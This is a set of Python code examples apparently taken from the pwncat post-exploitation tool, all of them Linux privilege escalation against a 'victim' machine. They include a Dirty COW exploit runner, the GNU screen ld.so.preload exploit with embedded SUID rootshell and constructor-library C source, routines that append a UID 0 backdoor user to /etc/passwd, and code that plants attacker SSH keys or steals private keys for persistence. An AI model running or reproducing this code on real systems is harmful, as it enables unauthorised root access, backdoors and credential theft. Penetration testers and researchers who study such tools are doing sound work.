Example #1
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        # If we have ran this before, don't bother running it
        if self.ran_before or not (Capability.SHELL & capability):
            return []

        # Carve out the version of screen
        version_output = self.pty.run("screen -v").decode("utf-8").strip()
        match = re.search(r"(\d+\.\d+\.\d+)", version_output)
        if not match:
            raise PrivescError("could not gather screen version")

        # Knowing the version of screen, check if it is vulnerable...
        version_triplet = [int(x) for x in match.group().split(".")]

        if version_triplet[0] > 4:
            raise PrivescError("screen seemingly not vulnerable")

        if version_triplet[0] == 4 and version_triplet[1] > 5:
            raise PrivescError("screen seemingly not vulnerable")

        if (version_triplet[0] == 4 and version_triplet[1] == 5
                and version_triplet[2] >= 1):
            raise PrivescError("screen seemingly not vulnerable")

        # If screen is vulnerable, try the technique!
        techniques = [Technique("root", self, None, Capability.SHELL)]
        return techniques
Example #2
0
    def execute(self, technique: Technique):
        """ Run the specified technique """

        self.ran_before = True

        writer = gtfobins.Binary.find_capability(self.pty.which,
                                                 Capability.WRITE)
        if writer is None:
            raise PrivescError("no file write methods available from gtfobins")

        dc_source_file = self.pty.run("mktemp").decode("utf-8").strip()
        dc_binary = self.pty.run("mktemp").decode("utf-8").strip()

        # Write the file
        self.pty.run(writer.write_file(dc_source, self.dc_source))

        # Compile Dirtycow
        self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt")

        # Run Dirtycow
        self.pty.run(dc_binary)

        # Reload /etc/passwd
        self.pty.reload_users()

        if self.pty.privesc.backdoor_user_name not in self.pty.users:
            raise PrivescError("backdoor user not created")

        # Become the new user!
        self.pty.process(f"su {self.pty.privesc.backdoor_user_name}",
                         delim=False)
        self.pty.client.send(
            self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")

        return "exit"
Example #3
0
    def add_backdoor(self):
        """ Add the backdoor user if it doesn't already exist. This is normally
        called in order to solidify full UID=0 access (e.g. when SUID binaries
        yield a EUID=0 but UID!=0. """

        self.pty.reload_users()

        if self.backdoor_user_name not in self.pty.users:
            binary = gtfobins.Binary.find_capability(self.pty.which,
                                                     Capability.READ)
            if binary is None:
                raise PrivescError(
                    "no file read methods available from gtfobins")

            # Read the etc/passwd file
            passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
            data = passwd.read()
            passwd.close()

            # Split up the file by lines
            data = data.decode("utf-8").strip()
            data = data.split("\n")

            # Add a new user
            password = crypt.crypt(self.backdoor_password)
            user = self.backdoor_user_name
            data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")

            # Prepare data for transmission
            data = ("\n".join(data) + "\n").encode("utf-8")

            # Find a GTFObins payload that works
            binary = gtfobins.Binary.find_capability(self.pty.which,
                                                     Capability.WRITE)
            if binary is None:
                raise PrivescError(
                    "no file write methods available from gtfobins")

            # Write the file
            self.pty.run(binary.write_file("/etc/passwd", data))

            # Stabilize output after the file write
            self.pty.run("echo")

            # Reload the /etc/passwd data
            self.pty.reload_users()

            if self.backdoor_user_name not in self.pty.users:
                raise PrivescError("/etc/passwd update failed!")

        self.pty.process(f"su {self.backdoor_user_name}", delim=False)
        self.pty.flush_output()

        self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
        self.pty.run("echo")
Example #4
0
    def execute(self, technique: Technique):
        """ Run the specified technique """

        with open("data/dirtycow/mini_dirtycow.c") as h:
            dc_source = h.read()

        dc_source = dc_source.replace("PWNCAT_USER",
                                      pwncat.victim.config["backdoor_user"])
        dc_source = dc_source.replace("PWNCAT_PASS",
                                      pwncat.victim.config["backdoor_pass"])

        self.ran_before = True

        writer = gtfobins.Binary.find_capability(self.pty.which,
                                                 Capability.WRITE)
        if writer is None:
            raise PrivescError("no file write methods available from gtfobins")

        dc_source_file = self.pty.run("mktemp").decode("utf-8").strip()
        dc_binary = self.pty.run("mktemp").decode("utf-8").strip()

        # Write the file
        self.pty.run(writer.write_file(dc_source, dc_source))

        # Compile Dirtycow
        self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt")

        # Run Dirtycow
        self.pty.run(dc_binary)

        # Reload /etc/passwd
        self.pty.reload_users()

        if self.pty.privesc.backdoor_user_name not in self.pty.users:
            raise PrivescError("backdoor user not created")

        # Become the new user!
        self.pty.run(f"su {self.pty.privesc.backdoor_user_name}", wait=False)
        self.pty.recvuntil(": ")

        self.pty.client.send(
            self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")

        return "exit"
Example #5
0
    def send_password(self, current_user):

        output = self.pty.client.recv(6, socket.MSG_PEEK).lower()

        if output == b"[sudo]" or output == b"passwo":
            if current_user["password"] is None:
                self.pty.client.send(CTRL_C)  # break out of password prompt
                raise PrivescError(
                    f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} has no known password"
                )
        else:
            return  # it did not ask for a password, continue as usual

        # Reset the timeout to allow for sudo to pause
        old_timeout = self.pty.client.gettimeout()
        self.pty.client.settimeout(5)
        self.pty.client.send(current_user["password"].encode("utf-8") + b"\n")

        # Flush the rest of the password prompt
        self.pty.recvuntil("\n")

        # Check the output once more
        output = self.pty.client.recv(6, socket.MSG_PEEK).lower()

        # Reset the timeout to the originl value
        self.pty.client.settimeout(old_timeout)

        if (
            output == b"[sudo]"
            or output == b"passwo"
            or output == b"sorry,"
            or output == b"sudo: "
        ):
            self.pty.client.send(CTRL_C)  # break out of password prompt

            # Flush all the output
            self.pty.recvuntil(b"\n")
            raise PrivescError(
                f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} could not sudo"
            )

        return
Example #6
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        if self.ran_before or (Capability.SHELL & capability):
            return []

        # Determine if this kernel version is vulnerable
        kernel = self.pty.run("uname -r").decode("utf-8").strip()
        triplet = [int(x) for x in kernel.split(".")]
        if triplet[0] > 4:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 7 and triplet[2] >= 9:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 8 and triplet[2] >= 3:
            raise PrivescError("kernel seemingly not vulnerable")

        if triplet[0] == 4 and triplet[1] == 4 and triplet[2] >= 26:
            raise PrivescError("kernel seemingly not vulnerable")

        techniques = [Technique("root", self, None, Capability.SHELL)]
Example #7
0
    def send_password(self, current_user: "******"):

        # peak the output
        output = self.pty.peek_output(some=False).lower()

        if (b"[sudo]" in output or b"password for " in output
                or output.endswith(b"password: "******"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password"
                )
        else:
            return  # it did not ask for a password, continue as usual

        # Flush any waiting output
        self.pty.flush_output()

        # Reset the timeout to allow for sudo to pause
        old_timeout = self.pty.client.gettimeout()
        self.pty.client.settimeout(5)
        self.pty.client.send(current_user.password.encode("utf-8") + b"\n")

        output = self.pty.peek_output(some=True)

        # Reset the timeout to the originl value
        self.pty.client.settimeout(old_timeout)

        if (b"[sudo]" in output or b"password for " in output
                or b"sorry, " in output or b"sudo: " in output):
            self.pty.client.send(CTRL_C)  # break out of password prompt

            # Flush all the output
            self.pty.recvuntil(b"\n")
            raise PrivescError(
                f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo"
            )

        return
Example #8
0
    def add_backdoor(self):
        """ Add the backdoor user if it doesn't already exist. This is normally
        called in order to solidify full UID=0 access (e.g. when SUID binaries
        yield a EUID=0 but UID!=0. """

        pwncat.victim.reload_users()

        if pwncat.victim.config["backdoor_user"] not in pwncat.victim.users:

            # Read /etc/passwd
            with pwncat.victim.open("/etc/passwd", "r") as filp:
                lines = filp.readlines()

            # Add a new user
            password = crypt.crypt(pwncat.victim.config["backdoor_pass"])
            user = pwncat.victim.config["backdoor_user"]
            lines.append(
                f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n")

            # Prepare data for transmission
            data = "".join(lines)

            # Write the data. Giving open the length opens up some other writing
            # options from GTFObins
            with pwncat.victim.open("/etc/passwd", "w",
                                    length=len(data)) as filp:
                filp.write(data)

            # Reload the /etc/passwd data
            pwncat.victim.reload_users()

            if pwncat.victim.config[
                    "backdoor_user"] not in pwncat.victim.users:
                raise PrivescError("/etc/passwd update failed!")

            # Log our tamper
            pwncat.victim.tamper.modified_file("/etc/passwd",
                                               added_lines=lines[-1:])

        pwncat.victim.run(f"su {pwncat.victim.config['backdoor_user']}",
                          wait=False)
        pwncat.victim.recvuntil(": ")
        pwncat.victim.flush_output()

        pwncat.victim.client.send(
            pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n")
        pwncat.victim.run("echo")
Example #9
0
    def escalate(
        self,
        target_user: str = None,
        depth: int = None,
        chain: List[Technique] = [],
        starting_user=None,
    ) -> List[Tuple[Technique, str]]:
        """ Search for a technique chain which will gain access as the given 
        user. """

        if target_user is None:
            target_user = "******"

        if target_user == "root" and self.backdoor_user:
            target_user = self.backdoor_user["name"]

        current_user = self.pty.current_user
        if (target_user == current_user["name"] or current_user["uid"] == 0
                or current_user["name"] == "root"):
            raise PrivescError(f"you are already {current_user['name']}")

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Enumerate escalation options for this user
        techniques = []
        for method in self.methods:
            try:
                util.progress(f"evaluating {method} method")
                found_techniques = method.enumerate(capability=Capability.SHELL
                                                    | Capability.SUDO
                                                    | Capability.WRITE)
                for tech in found_techniques:
                    if tech.user == target_user:
                        try:
                            util.progress(f"evaluating {tech}")
                            exit_command = self.escalate_single(
                                tech)  # tech.method.execute(tech)
                            chain.append((tech, exit_command))
                            return chain
                        except PrivescError:
                            pass
                techniques.extend(found_techniques)
            except PrivescError:
                pass

        # We can't escalate directly to the target. Instead, try recursively
        # against other users.
        for tech in techniques:
            if tech.user == target_user:
                continue
            if self.in_chain(tech.user, chain):
                continue
            try:
                exit_command = self.escalate_single(
                    tech)  # tech.method.execute(tech)
                chain.append((tech, exit_command))
            except PrivescError:
                continue
            try:
                return self.escalate(target_user, depth, chain, starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                self.pty.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Example #10
0
    def escalate_single(self, technique: Technique) -> str:

        util.progress(f"attempting escalation to {technique}")

        shlvl = self.pty.getenv("SHLVL")

        if (technique.capabilities & Capability.SHELL) > 0:
            try:
                # Attempt our basic, known technique
                exit_script = technique.method.execute(technique)
                self.pty.flush_output()

                # Reset the terminal to ensure we are stable
                self.pty.reset()

                # Check that we actually succeeded
                current = self.pty.whoami()

                if current == technique.user or (technique.user
                                                 == self.backdoor_user_name
                                                 and current == "root"):
                    return exit_script

                # Check if we ended up in a sub-shell without escalating
                if self.pty.getenv("SHLVL") != shlvl:
                    # Get out of this subshell. We don't need it
                    self.pty.process(exit_script, delim=False)

                    # Clean up whatever mess was left over
                    self.pty.flush_output()

                    self.pty.reset()

                # The privesc didn't work, but didn't throw an exception.
                # Continue on as if it hadn't worked.
            except PrivescError:
                pass

        # We can't privilege escalate directly to a shell with this technique,
        # but we may be able to add a user via file write.
        if (technique.capabilities
                & Capability.WRITE) == 0 or technique.user != "root":
            raise PrivescError("privesc failed")

        # We need su to privesc w/ file write
        su_command = self.pty.which("su", quote=True)
        if su_command is None:
            raise PrivescError("privesc failed")

        # Read the current content of /etc/passwd
        reader = gtfobins.Binary.find_capability(self.pty.which,
                                                 Capability.READ)
        if reader is None:
            raise PrivescError("no file reader found")

        payload = reader.read_file("/etc/passwd")

        # Read the file
        passwd = self.pty.subprocess(reader.read_file("/etc/passwd"))
        data = passwd.read()
        passwd.close()

        # Split up the file by lines
        data = data.decode("utf-8").strip()
        data = data.split("\n")

        # Add a new user
        password = crypt.crypt(self.backdoor_password)
        user = self.backdoor_user_name
        data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")

        # Join the data back and encode it
        data = ("\n".join(data) + "\n").encode("utf-8")

        # Write the data
        technique.method.write_file("/etc/passwd", data, technique)

        # Maybe help?
        self.pty.run("echo")

        # Check that it succeeded
        users = self.pty.reload_users()

        # Check if the new passwd file contained the file
        if user not in users:
            raise PrivescError("privesc failed")

        self.pty.users[user]["password"] = password
        self.backdoor_user = self.pty.users[user]

        # Switch to the new user
        # self.pty.process(f"su {user}", delim=False)
        self.pty.process(f"su {user}", delim=True)
        self.pty.flush_output()

        self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
        self.pty.run("echo")

        return "exit"
Example #11
0
    def read_file(
        self,
        filename: str,
        target_user: str = None,
        depth: int = None,
        chain: List[Technique] = [],
        starting_user=None,
    ):

        if target_user is None:
            target_user = "******"

        current_user = self.pty.current_user
        if (target_user == current_user["name"] or current_user["uid"] == 0
                or current_user["name"] == "root"):
            binary = gtfobins.Binary.find_capability(self.pty.which,
                                                     Capability.READ)
            if binary is None:
                raise PrivescError("no binaries to read with")

            return self.pty.subprocess(binary.read_file(filename)), chain

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Enumerate escalation options for this user
        techniques = []
        for method in self.methods:
            try:
                found_techniques = method.enumerate(capability=Capability.ALL)
                for tech in found_techniques:
                    if tech.user == target_user and (tech.capabilities
                                                     & Capability.READ):
                        try:
                            read_pipe = tech.method.read_file(filename, tech)

                            return (read_pipe, chain)
                        except PrivescError as e:
                            pass
                techniques.extend(found_techniques)
            except PrivescError:
                pass

        # We can't escalate directly to the target to read a file. So, try recursively
        # against other users.
        for tech in techniques:
            if tech.user == target_user:
                continue
            try:
                exit_command = self.escalate_single(tech)
                chain.append((tech, exit_command))
            except PrivescError:
                continue
            try:
                return self.read_file(filename, target_user, depth, chain,
                                      starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                self.pty.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Example #12
0
    def escalate(
        self,
        target_user: str = None,
        depth: int = None,
        chain: List[Technique] = None,
        starting_user=None,
    ) -> List[Tuple[Technique, str]]:
        """ Search for a technique chain which will gain access as the given 
        user. """

        if chain is None:
            chain = []

        if target_user is None:
            target_user = "******"

        current_user = pwncat.victim.current_user
        if (target_user == current_user["name"] or current_user["uid"] == 0
                or current_user["name"] == "root"):
            raise PrivescError(f"you are already {current_user['name']}")

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Capture current shell level
        shlvl = pwncat.victim.getenv("SHLVL")

        # Check if we have a persistence method for this user
        util.progress(f"checking local persistence implants")
        for persist in pwncat.victim.persist.find(installed=True,
                                                  local=True,
                                                  user=target_user):
            util.progress(
                f"checking local persistence implants: {persist.format(target_user)}"
            )
            # Attempt to escalate with the local persistence method
            if persist.escalate(target_user):

                # The method thought it worked, but didn't appear to
                if pwncat.victim.whoami() != target_user:
                    if pwncat.victim.getenv("SHLVL") != shlvl:
                        pwncat.victim.run("exit", wait=False)
                    continue

                # It worked!
                chain.append(
                    (f"persistence - {persist.format(target_user)}", "exit"))
                return chain

        # Enumerate escalation options for this user
        techniques = {}
        for method in self.methods:
            try:
                util.progress(f"evaluating {method} method")
                found_techniques = method.enumerate(Capability.SHELL
                                                    | Capability.WRITE
                                                    | Capability.READ)
                for tech in found_techniques:
                    if tech.user not in techniques:
                        techniques[tech.user] = []
                    techniques[tech.user].append(tech)
            except PrivescError:
                pass

        if (target_user == "root"
                and pwncat.victim.config["backdoor_user"] in techniques):
            try:
                tech, exit_command = self.escalate_single(
                    techniques[pwncat.victim.config["backdoor_user"]], shlvl)
                chain.append((tech, exit_command))
                return chain
            except PrivescError:
                pass

        # Try to escalate directly to the target if possible
        if target_user in techniques:
            try:
                tech, exit_command = self.escalate_single(
                    techniques[target_user], shlvl)
                chain.append((tech, exit_command))
                return chain
            except PrivescError:
                pass

        # Try to use persistence as other users
        util.progress(f"checking local persistence implants")
        for user in pwncat.victim.users:
            if self.in_chain(user, chain):
                continue
            util.progress(f"checking local persistence implants: {user}")
            for persist in pwncat.victim.persist.find(installed=True,
                                                      local=True,
                                                      system=False,
                                                      user=user):
                util.progress(
                    f"checking local persistence implants: {persist.format(user)}"
                )
                if persist.escalate(user):
                    if pwncat.victim.whoami() != user:
                        if pwncat.victim.getenv("SHLVL") != shlvl:
                            pwncat.victim.run("exit", wait=False)
                        continue

                    chain.append(
                        (f"persistence - {persist.format(target_user)}",
                         "exit"))

                    try:
                        return self.escalate(target_user, depth, chain,
                                             starting_user)
                    except PrivescError:
                        chain.pop()
                        pwncat.victim.run("exit", wait=False)

                    # Don't retry later
                    if user in techniques:
                        del techniques[user]

        # We can't escalate directly to the target. Instead, try recursively
        # against other users.
        for user, techs in techniques.items():
            if user == target_user:
                continue
            if self.in_chain(user, chain):
                continue
            try:
                tech, exit_command = self.escalate_single(techs, shlvl)
                chain.append((tech, exit_command))
            except PrivescError:
                continue
            try:
                return self.escalate(target_user, depth, chain, starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                pwncat.victim.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Example #13
0
    def escalate_single(self, techniques: List[Technique],
                        shlvl: str) -> Tuple[Optional[Technique], str]:
        """ Use the given list of techniques to escalate to the user. All techniques
        should be for the same user. This method will attempt a variety of privesc
        methods. Primarily, it will directly execute any techniques which provide
        the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd
        if the target user is root. Lastly, it will try to escalate using a local
        SSH server combined with READ/WRITE capabilities to gain a local shell. """

        readers: List[Technique] = []
        writers: List[Technique] = []

        for technique in techniques:
            if Capability.SHELL in technique.capabilities:
                try:
                    # Attempt our basic, known technique
                    exit_script = technique.method.execute(technique)
                    pwncat.victim.flush_output()

                    # Reset the terminal to ensure we are stable
                    pwncat.victim.reset()

                    # Check that we actually succeeded
                    current = pwncat.victim.whoami()

                    if current == technique.user or (
                            technique.user
                            == pwncat.victim.config["backdoor_user"]
                            and current == "root"):
                        pwncat.victim.flush_output()
                        return technique, exit_script

                    # Check if we ended up in a sub-shell without escalating
                    if pwncat.victim.getenv("SHLVL") != shlvl:

                        # Get out of this subshell. We don't need it
                        # pwncat.victim.process(exit_script, delim=False)
                        pwncat.victim.run(exit_script, wait=False)
                        pwncat.victim.recvuntil("\n")

                        # Clean up whatever mess was left over
                        pwncat.victim.flush_output()

                        pwncat.victim.reset()

                    # The privesc didn't work, but didn't throw an exception.
                    # Continue on as if it hadn't worked.
                except PrivescError:
                    pass
            if Capability.READ in technique.capabilities:
                readers.append(technique)
            if Capability.WRITE in technique.capabilities:
                writers.append(technique)

        if writers and writers[0].user == "root":

            # We need su to privesc w/ file write
            su_command = pwncat.victim.which("su", quote=True)
            if su_command is not None:

                # Grab the first writer
                writer = writers[0]

                # Read /etc/passwd
                with pwncat.victim.open("/etc/passwd", "r") as filp:
                    lines = filp.readlines()

                # Add a new user
                password = crypt.crypt(pwncat.victim.config["backdoor_pass"])
                user = pwncat.victim.config["backdoor_user"]
                lines.append(
                    f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n")

                # Join the data back and encode it
                data = ("".join(lines)).encode("utf-8")

                # Write the data
                writer.method.write_file("/etc/passwd", data, writer)

                # Maybe help?
                pwncat.victim.run("echo")

                # Check that it succeeded
                users = pwncat.victim.reload_users()

                # Check if the new passwd file contained the file
                if user in users:
                    # Log our tamper of this file
                    pwncat.victim.tamper.modified_file("/etc/passwd",
                                                       added_lines=lines[-1:])

                    pwncat.victim.users[user][
                        "password"] = pwncat.victim.config["backdoor_pass"]
                    self.backdoor_user = pwncat.victim.users[user]

                    # Switch to the new user
                    # pwncat.victim.process(f"su {user}", delim=False)
                    pwncat.victim.process(f"su {user}", delim=True)
                    pwncat.victim.recvuntil(": ")

                    pwncat.victim.client.send(
                        pwncat.victim.config["backdoor_pass"].encode("utf-8") +
                        b"\n")

                    pwncat.victim.flush_output()

                    return writer, "exit"

        util.progress(f"checking for local {Fore.RED}sshd{Fore.RESET} server")

        if len(writers) == 0 and len(readers) == 0:
            raise PrivescError(
                "no readers and no writers. ssh privesc impossible")

        # Check if there is an SSH server running
        sshd_running = False
        ps = pwncat.victim.which("ps")
        if ps is not None:
            sshd_running = (b"sshd" in pwncat.victim.subprocess(
                "ps -o command -e", "r").read())
        else:
            pgrep = pwncat.victim.which("pgrep")
            if pgrep is not None:
                sshd_running = (pwncat.victim.subprocess(
                    "pgrep 'sshd'", "r").read().strip() != b"")

        sshd_listening = False
        sshd_address = None
        netstat = (pwncat.victim.subprocess(
            "netstat -anotp 2>/dev/null | grep LISTEN | grep -v tcp6 | grep ':22'",
            "r",
        ).read().strip())

        if netstat != "":
            # Remove repeated spaces
            netstat = re.sub(b" +", b" ", netstat).split(b" ")
            sshd_listening = True
            sshd_address = netstat[3].split(b":")[0].decode("utf-8")

        used_technique = None

        if sshd_running and sshd_listening:
            # We have an SSHD and we have a file read and a file write
            # technique. We can attempt to leverage this to use SSH to ourselves
            # and gain access as this user.
            util.progress(f"found {Fore.RED}sshd{Fore.RESET} listening at "
                          f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}")

            authkeys_path = ".ssh/authorized_keys"

            try:
                with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp:
                    for line in filp:
                        if line.startswith("AuthorizedKeysFile"):
                            authkeys_path = line.strip().split()[-1]
            except PermissionError:
                # We couldn't read the file. Assume they are located in the default home directory location
                authkeys_path = ".ssh/authorized_keys"

            # AuthorizedKeysFile is normally relative to the home directory
            if not authkeys_path.startswith("/"):
                # Grab the user information from /etc/passwd
                home = pwncat.victim.users[techniques[0].user]["home"]

                if home == "" or home is None:
                    raise PrivescError(
                        "no user home directory, can't add ssh keys")

                authkeys_path = os.path.join(home, authkeys_path)

            util.progress(
                f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}"
            )

            authkeys = []
            privkey_path = None
            privkey = None
            if readers:
                reader = readers[0]
                with reader.method.read_file(authkeys_path, reader) as filp:
                    authkeys = [line.strip().decode("utf-8") for line in filp]

                # Some payloads will return the stderr of the file reader. Check
                # that the authorized_keys even existed
                if len(authkeys) == 1 and "no such file" in authkeys[0].lower(
                ):
                    authkeys = []

                # We need to read each of the users keys in the ".ssh" directory
                # to see if they contain a public key that is already allowed on
                # this machine. If so, we can read the private key and
                # authenticate without a password and without clobbering their
                # keys.
                ssh_key_glob = os.path.join(
                    pwncat.victim.users[reader.user]["home"], ".ssh", "*.pub")
                # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8")
                keys = ["id_rsa.pub"]
                keys = [
                    os.path.join(pwncat.victim.users[reader.user]["home"],
                                 ".ssh", key) for key in keys
                ]

                # Iterate over each public key found in the home directory
                for pubkey_path in keys:
                    if pubkey_path == "":
                        continue
                    util.progress(
                        f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} "
                        "is an authorized key")
                    # Read the public key
                    with reader.method.read_file(pubkey_path, reader) as filp:
                        pubkey = filp.read().strip().decode("utf-8")
                    # Check if it matches
                    if pubkey in authkeys:
                        util.progress(
                            f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} "
                            f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys"
                        )
                        # remove the ".pub" to find the private key
                        privkey_path = pubkey_path.replace(".pub", "")
                        # Make sure the private key exists
                        if (b"no such file" in pwncat.victim.run(
                                f"file {privkey_path}").lower()):
                            util.progress(
                                f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} "
                                f"has no private key")
                            continue

                        util.progress(
                            f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}"
                        )
                        with reader.method.read_file(privkey_path,
                                                     reader) as filp:
                            privkey = filp.read().strip().decode("utf-8")

                        # The terminal adds \r most of the time. This is a text
                        # file so this is safe.
                        privkey = privkey.replace("\r\n", "\n")

                        used_technique = reader

                        break
                else:
                    privkey_path = None
                    privkey = None
            elif writers:
                util.warn(
                    "no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}"
                )
                util.warn(f"however, we do have a writer.")
                response = confirm(
                    "would you like to clobber their authorized keys? ",
                    suffix="(y/N) ")
                if not response:
                    raise PrivescError("user aborted key clobbering")

        # If we don't already know a private key, then we need a writer
        if privkey_path is None and not writers:
            raise PrivescError("no writers available to add private keys")

        # Everything looks good so far. We are adding a new private key. so we
        # need to read in the private key and public key, then add the public
        # key to the user's authorized_keys. The next step will upload the
        # private key in any case.
        if privkey_path is None:

            writer = writers[0]

            # Write our private key to a random location
            with open(pwncat.victim.default_privkey, "r") as src:
                privkey = src.read()

            with open(pwncat.victim.default_privkey + ".pub", "r") as src:
                pubkey = src.read().strip()

            # Add our public key to the authkeys
            authkeys.append(pubkey)

            # Write the file
            writer.method.write_file(authkeys_path, ("\n".join(authkeys) +
                                                     "\n").encode("utf-8"),
                                     writer)

            if len(authkeys) > 1:
                pwncat.victim.tamper.modified_file(authkeys_path,
                                                   added_lines=pubkey + "\n")
            else:
                # We couldn't read their authkeys, but log that we clobbered it. The user asked us to.  :shrug:
                pwncat.victim.tamper.modified_file(authkeys_path)

            used_technique = writer

        # SSH private keys are annoying and **NEED** a newline
        privkey = privkey.strip() + "\n"

        with pwncat.victim.tempfile("w", length=len(privkey)) as dst:
            # Write the file with a nice progress bar
            dst.write(privkey)
            # Save the path to the private key. We don't need the original path,
            # if there was one, because the current user can't access the old
            # one directly.
            privkey_path = dst.name

        # Log that we created a file
        pwncat.victim.tamper.created_file(privkey_path)

        # Ensure the permissions are right so ssh doesn't freak out
        pwncat.victim.run(f"chmod 600 {privkey_path}")

        # Run ssh as the given user with our new private key
        util.progress(
            f"attempting {Fore.RED}ssh{Fore.RESET} to "
            f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}")
        ssh = pwncat.victim.which("ssh")

        # First, run a test to make sure we authenticate
        command = (
            f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
            f"{techniques[0].user}@127.0.0.1")
        output = pwncat.victim.run(f"{command} echo good")

        # Check if we succeeded
        if b"good" not in output:
            raise PrivescError("ssh private key failed")

        # Great! Call SSH again!
        pwncat.victim.process(command)

        # Pretty sure this worked!
        return used_technique, "exit"
Example #14
0
    def read_file(
        self,
        filename: str,
        target_user: str = None,
        depth: int = None,
        chain: List[Technique] = [],
        starting_user=None,
    ):

        if target_user is None:
            target_user = "******"

        current_user = pwncat.victim.current_user
        if (target_user == current_user["name"] or current_user["uid"] == 0
                or current_user["name"] == "root"):
            pipe = pwncat.victim.open(filename, "rb")
            return pipe, chain

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Enumerate escalation options for this user
        user_map = {}
        for method in self.methods:
            try:
                found_techniques = method.enumerate(Capability.ALL)
                for tech in found_techniques:
                    if tech.user == target_user and (tech.capabilities
                                                     & Capability.READ):
                        try:
                            read_pipe = tech.method.read_file(filename, tech)
                            return (read_pipe, chain)
                        except PrivescError:
                            pass
                    if tech.user not in user_map:
                        user_map[tech.user] = []
                    user_map[tech.user].append(tech)
            except PrivescError:
                pass

        shlvl = pwncat.victim.getenv("SHLVL")

        # We can't escalate directly to the target to read a file. So, try recursively
        # against other users.
        for user, techniques in user_map.items():
            if user == target_user:
                continue
            if self.in_chain(user, chain):
                continue
            try:
                tech, exit_command = self.escalate_single(techniques, shlvl)
                chain.append((tech, exit_command))
            except PrivescError:
                continue
            try:
                return self.read_file(filename, target_user, depth, chain,
                                      starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                pwncat.victim.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Example #15
0
    def execute(self, technique: Technique):
        """ Run the specified technique """

        self.ran_before = True

        writer = gtfobins.Binary.find_capability(self.pty.which,
                                                 Capability.WRITE)
        if writer is None:
            raise PrivescError("no file write methods available from gtfobins")

        # Hide the activity by creating hidden temporary files
        libhack_c = (self.pty.run("mktemp -t .XXXXXXXXXXX --suffix .c").decode(
            "utf-8").strip())
        libhack_so = (self.pty.run(
            "mktemp -t .XXXXXXXXXXX --suffix .so").decode("utf-8").strip())
        rootshell_c = (self.pty.run(
            "mktemp -t .XXXXXXXXXXX --suffix .c").decode("utf-8").strip())
        rootshell = self.pty.run("mktemp -t .XXXXXXXXXXX").decode(
            "utf-8").strip()

        # Write the library
        self.pty.run(
            writer.write_file(
                libhack_c,
                textwrap.dedent(f"""
                #include <stdio.h>
                #include <sys/types.h>
                #include <unistd.h>
                __attribute__ ((__constructor__))
                void dropshell(void){{
                    chown("{rootshell}", 0, 0);
                    chmod("{rootshell}", 04755);
                    unlink("/etc/ld.so.preload");
                }}
                """).lstrip(),
            ))

        # Compile the library
        self.pty.run(f"gcc -fPIC -shared -ldl -o {libhack_so} {libhack_c}")

        # Create the rootshell binary
        self.pty.run(
            writer.write_file(
                rootshell_c,
                textwrap.dedent(f"""
                #include <stdio.h>
                int main(void){{
                    setuid(0);
                    setgid(0);
                    seteuid(0);
                    setegid(0);
                    execvp("{self.pty.shell}", NULL, NULL);
                }}
                """).lstrip(),
            ))

        # Compile the rootshell binary
        self.pty.run(f"gcc -o {rootshell} {rootshell_c}")

        # Switch to /etc but save our previous directory so we can return to it
        self.pty.run("pushd /etc")

        # Run screen with our library, saving the umask before changing it
        start_umask = self.pty.run("umask").decode("utf-8").strip()
        self.pty.run("umask 000")
        # sleep(1)
        self.pty.run(f'screen -D -m -L ld.so.preload echo -ne "{libhack_so}"')
        # sleep(1)

        # Trigger the exploit
        self.pty.run("screen -ls")

        # Reset umask to the saved value
        self.pty.run(f"umask {start_umask}")

        # Check if the file is owned by root
